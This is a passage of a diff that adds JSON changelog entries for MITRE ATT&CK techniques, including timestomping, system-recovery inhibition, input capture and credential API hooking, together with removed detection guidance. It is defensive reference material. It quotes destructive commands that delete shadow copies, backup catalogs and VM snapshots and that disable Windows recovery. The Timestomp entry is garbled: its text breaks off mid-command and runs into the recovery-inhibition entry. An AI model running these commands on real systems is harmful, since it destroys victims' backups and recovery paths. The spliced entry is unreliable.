+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.978000+00:00\", \"old_value\": \"2025-04-15 19:59:12.733000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Deletion)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0140: Behavioral Detection of Malicious File Deletion"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-31 12:39:18.816000+00:00",
+ "modified": "2025-10-24 17:49:11.691000+00:00",
+ "name": "Network Share Connection Removal",
+ "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1070/005",
+ "external_id": "T1070.005"
+ },
+ {
+ "source_name": "Technet Net Use",
+ "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
+ "url": "https://technet.microsoft.com/bb490717.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.691000+00:00\", \"old_value\": \"2025-04-16 20:37:18.727000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0103: Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-31 12:42:44.103000+00:00",
+ "modified": "2025-10-24 17:48:43.937000+00:00",
+ "name": "Timestomp",
+ "description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1490",
+ "external_id": "T1490"
+ },
+ {
+ "source_name": "Dark Reading Code Spaces Cyber Attack",
+ "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
+ "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"
+ },
+ {
+ "source_name": "FireEye WannaCry 2017",
+ "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
+ },
+ {
+ "source_name": "Cybereason",
+ "description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.",
+ "url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware"
+ },
+ {
+ "source_name": "Talos Olympic Destroyer 2018",
+ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
+ "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+ },
+ {
+ "source_name": "Diskshadow",
+ "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.",
+ "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"
+ },
+ {
+ "source_name": "Crytox Ransomware",
+ "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.",
+ "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"
+ },
+ {
+ "source_name": "Rhino Security Labs AWS S3 Ransomware",
+ "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
+ "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
+ },
+ {
+ "source_name": "ZDNet Ransomware Backups 2020",
+ "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
+ "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
+ },
+ {
+ "source_name": "disable_notif_synology_ransom",
+ "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
+ "url": "https://x.com/TheDFIRReport/status/1498657590259109894"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Yonatan Gotlib, Deep Instinct",
+ "Austin Clark, @c2defense",
+ "Pallavi Sivakumaran, WithSecure",
+ "Joey Lei",
+ "Harjot Shah Singh"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Containers",
+ "ESXi",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Cloud Storage: Cloud Storage Deletion\", \"Command: Command Execution\", \"Service: Service Metadata\", \"Snapshot: Snapshot Deletion\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.297000+00:00\", \"old_value\": \"2025-04-15 19:59:22.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n\\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n-\\n-Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1028: Operating System Configuration",
+ "M1038: Execution Prevention",
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0010: Cloud Storage (Cloud Storage Deletion)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Metadata)",
+ "DS0020: Snapshot (Snapshot Deletion)",
+ "DS0022: File (File Deletion)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0329: Behavioral Detection for T1490 - Inhibit System Recovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:48.323000+00:00",
+ "modified": "2025-10-24 17:49:17.884000+00:00",
+ "name": "Input Capture",
+ "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1056",
+ "external_id": "T1056"
+ },
+ {
+ "source_name": "Adventures of a Keystroke",
+ "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
+ "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "John Lambert, Microsoft Threat Intelligence Center"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Module: Module Load\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.884000+00:00\", \"old_value\": \"2025-04-15 19:59:02.160000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0102: Behavioral Detection of Input Capture Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:01:15.930000+00:00",
+ "modified": "2025-10-24 17:49:37.119000+00:00",
+ "name": "Credential API Hooking",
+ "description": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program\u2019s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1056/004",
+ "external_id": "T1056.004"
+ },
+ {
+ "source_name": "EyeofRa Detecting Hooking June 2017",
+ "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
+ "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
+ },
+ {
+ "source_name": "Zairon Hooking Dec 2006",
+ "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
+ "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
+ },
+ {
+ "source_name": "GMER Rootkits",
+ "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
+ "url": "http://www.gmer.net/"
+ },
+ {
+ "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
+ "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
+ "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "Intezer Symbiote 2022",
+ "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
+ "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
+ },
+ {
+ "source_name": "HighTech Bridge Inline Hooking Sept 2011",
+ "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved November 17, 2024.",
+ "url": "https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows"
+ },
+ {
+ "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
+ "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
+ "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
+ },
+ {
+ "source_name": "Microsoft Hook Overview",
+ "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
+ },
+ {
+ "source_name": "Microsoft Process Snapshot",
+ "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
+ },
+ {
+ "source_name": "PreKageo Winhook Jul 2011",
+ "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
+ "url": "https://github.com/prekageo/winhook"
+ },
+ {
+ "source_name": "Jay GetHooks Sept 2011",
+ "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
+ "url": "https://github.com/jay/gethooks"
+ },
+ {
+ "source_name": "StackExchange Hooks Jul 2012",
+ "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
+ "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
+ },
+ {
+ "source_name": "Adlice Software IAT Hooks Oct 2014",
+ "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
+ "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
+ },
+ {
+ "source_name": "Volatility Detecting Hooks Sept 2012",
+ "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
+ "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
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+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Metadata)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0139: Detection of Credential Harvesting via API Hooking"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:58:45.908000+00:00",
+ "modified": "2025-10-24 17:49:10.643000+00:00",
+ "name": "GUI Input Capture",
+ "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1056/002",
+ "external_id": "T1056.002"
+ },
+ {
+ "source_name": "LogRhythm Do You Trust Oct 2014",
+ "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
+ "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
+ },
+ {
+ "source_name": "Spoofing credential dialogs",
+ "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.",
+ "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"
+ },
+ {
+ "source_name": "OSX Keydnap malware",
+ "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+ "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
+ },
+ {
+ "source_name": "Enigma Phishing for Credentials Jan 2015",
+ "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
+ "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
+ },
+ {
+ "source_name": "OSX Malware Exploits MacKeeper",
+ "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
+ "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matthew Molyett, @s1air, Cisco Talos"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS",
+ "Windows",
+ "Linux"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.643000+00:00\", \"old_value\": \"2025-04-15 22:37:16.582000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n\\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n-\\n-Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0521: Behavioral Detection of Spoofed GUI Credential Prompts"
+ ],
+ "dropped": []
+ }
